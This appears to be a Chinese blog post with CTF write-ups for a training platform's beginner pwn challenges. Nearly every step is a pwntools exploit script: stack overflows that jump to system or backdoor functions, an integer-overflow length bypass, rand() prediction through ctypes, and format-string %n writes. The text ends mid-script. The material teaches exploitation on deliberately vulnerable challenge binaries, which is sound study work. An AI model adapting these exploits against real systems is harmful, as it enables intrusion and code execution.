这里面的每个题我都没有去检查保护,太麻烦,新手区也没有需要绕过保护的,最简单的canary绕过也在进阶。 ps:我这里用的是python2.7。如果用python3的话代码会有一个致命的不同,看我的另外一篇博客
字符串编码解决python3 payload=‘a‘ +p64(1926)报错问题
1、nc连接就行2、简单的exp
from pwn import* r=remote("220.249.52.133",35257) r.interactive()最最简单的栈溢出
from pwn import* r=remote("220.249.52.133",30174) payload='aaaa'+p32(1853186401) r.sendlineafter("bof",payload) r.interactive()栈溢出覆盖变量就行
from pwn import* r=remote("220.249.52.133",56940) r.sendlineafter("Birth?",'1234') payload='aaaaaaaa'+p32(1926) r.sendlineafter("Name?",payload) r.interactive()简单的栈溢出,找一下后门函数 system
from pwn import* r=remote("220.249.52.133",42821) payload='a'*0x88+p64(0x400596) r.sendline(payload) r.interactive()这个倒是要注意 它程序里面是write函数的时候不用r.recv()
栈溢出 需要找一下system参数
from pwn import* r=remote("220.249.52.133",52591) payload='a'*0x88+'aaaa' + p32(0x8048320) + 'aaaa'+p32(0x804a024) r.sendline(payload) r.interactive()但是发现个好玩的,如果将代码改成这样就会报错
from pwn import* r=remote("220.249.52.133",52591) payload='a'*0x88+'aaaa' + p64(0x8048320) + 'aaaa'+p32(0x804a024) #这里的后面四个a是system函数的返回地址,跟下一个cgpwn2一样的 r.sendline(payload) r.interactive()报错 因为 p32的话 是0x12121212 但是p64的话就是0x1212121200000000 这在其他题目中不明显,但是在这个需要覆盖system函数返回地址的地方就体现出来了 system地址本来是4个字 ,后面接4个a刚好到参数位置 但是p64的话把地址变成8个字 就用不着那4个a了
栈溢出 找后门函数 这个有system 但是函数参数不对,需要自己写进去
from pwn import* #context.log_level="debug" r=remote("220.249.52.133",41650) r.sendlineafter("name","/bin/sh") payload='a'*38 + 'aaaa' + p32(0x8048420) + 'aaaa' + p32(0x804a080) #这里面后面的‘aaaa’是system的返回地址 要注意了! r.sendlineafter("here:",payload) r.interactive()栈溢出 整数溢出
from pwn import* r= remote("220.249.52.133",33712) r.sendlineafter("Your choice:",'1') r.sendlineafter("name:","aaaa") payload='a'*24 + p32(0x804868b) + 'a'*232 #这里是关键,因为它在栈溢出的基础上对payload长度有要求,要求长度在3-8之间 #但是它存放长度的内存为一个字,所以范围只是0-255,所以构造一个长度为260的 r.sendlineafter("passwd:",payload) r.interactive()这个题还是很厉害的 随机函数生成的随机数并不是真的随机数,他们只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。 在调用rand()函数时,必须先利用srand()设好随机数种子,如果未设随机数种子,rand()在调用时会自动设随机数种子为1。 关于ctype库与dll 我们使用python标准库中自带的ctypes模块进行python和c的混合编程 libc共享库 要用到rand()函数 就在这个共享库中找 也可以
elf = ELF('./guess_num') libc = elf.libc from pwn import * from ctypes import * io = remote('111.198.29.45','45592') libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") payload = 'a'*32 + p64(1) #这里只有0跟1行……我也不知道为啥 io.sendlineafter('name:',payload) for i in range(10): io.sendlineafter('number:',str(libc.rand()%6 + 1)) io.interactive()格式化字符串漏洞 基础知识来一手 %x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。 %p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。 %s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。 %n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如0×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。 有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。 %n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。
所以先看printf指针偏移多少 这里也要考虑32位与64位 32位的话就‘AAAA’ 64位的话就‘AAAAAAAA’ 偏移10
from pwn import* r=remote("220.249.52.133",55983) r.sendlineafter("name:","name") payload = p32(0x804a068)+'aaaa'+'$n' #这里构造这玩意有好多种形式 #payload=p32(0x0804a068)+"c$n" r.sendlineafter("please:",payload) r.recv() r.interactive()喔唷 这个题我感觉是新手区最烦的一个题 字符串格式化漏洞 指针函数强制转换漏洞
发现这里有个字符串格式化漏洞 发现这里函数指针强制转换为指针函数,会把它当作一个函数,执行这里的代码。
查一下偏移 这里就是64位拿‘AAAAAAAA’去查
# -*- coding: utf-8 -*- from pwn import* context.log_level = "debug" #r=remote("220.249.52.133",33503) r = process('./string') #gdb.attach(r, 'b *0x400E5D') r.recvuntil("secret[0] is ") addr_4=int(r.recvuntil('\n')[:-1],16) #这个地方要注意 那最后那个‘\n’去掉 r.sendlineafter("be:","yongbao") r.sendlineafter("up?","east") r.sendlineafter("leave(0)?:\n", '1') r.sendlineafter("'Give me an address'", str(int(addr_4))) #记得再转回来 r.sendlineafter("And, you wish is:", '